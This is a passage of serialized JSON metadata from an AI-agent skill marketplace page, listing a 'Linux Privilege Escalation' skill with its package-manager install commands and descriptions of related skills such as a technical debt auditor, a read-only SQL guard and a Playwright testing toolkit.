|\n",{"name":5,"metadata":48,"description":7},{"author":49,"version":50},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Flinux-privilege-escalation",3911,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-11 21:38:31",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"Linux Privilege Escalation\"",{"tool":67,"command":68},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"Linux Privilege Escalation\"",{"tool":70,"command":71},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"Linux Privilege Escalation\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Flinux-privilege-escalation\u002FSKILL.md",true,[],[76,102,129,161,196,220],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":83,"publishedAt":43},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[82],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[84,85,86,87,88,29,89,90,91,28,92,93,94,95,96,97,98,99,100,101],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":109,"publishedAt":43},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[108],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[110,111,112,113,114,115,116,117,118,119,120,28,121,122,123,124,125,126,127,128],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":144,"publishedAt":43},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[135,138,139],{"categoryNo":136,"categoryName":137,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":140,"categoryName":141,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[145,146,147,148,149,150,151,29,152,153,154,155,156,157,158,91,39,159,28,160],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","database","query",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":165,"licenseFileUrl":166,"sourceHtmlUrl":167,"categories":168,"keywords":172,"publishedAt":43},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[169],{"categoryNo":170,"categoryName":171,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,29,195],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":165,"licenseFileUrl":200,"sourceHtmlUrl":201,"categories":202,"keywords":207,"publishedAt":43},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[203,206],{"categoryNo":204,"categoryName":205,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":170,"categoryName":171,"taxonomyType":21,"taxonomyTypeDesc":22},[208,209,210,211,212,174,213,183,184,214,215,216,217,29,218,93,219],"webapp testing","testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":221,"name":222,"nameZh":6,"description":223,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":165,"licenseFileUrl":224,"sourceHtmlUrl":225,"categories":226,"keywords":234,"publishedAt":43},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[227,230,231],{"categoryNo":228,"categoryName":229,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":232,"categoryName":233,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000036","内容创作者",[235,236,237,238,239,240,241,242,176,243,186,121,244,245,246,247,248,157,249,28,250,251,252,253,254,99,255],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]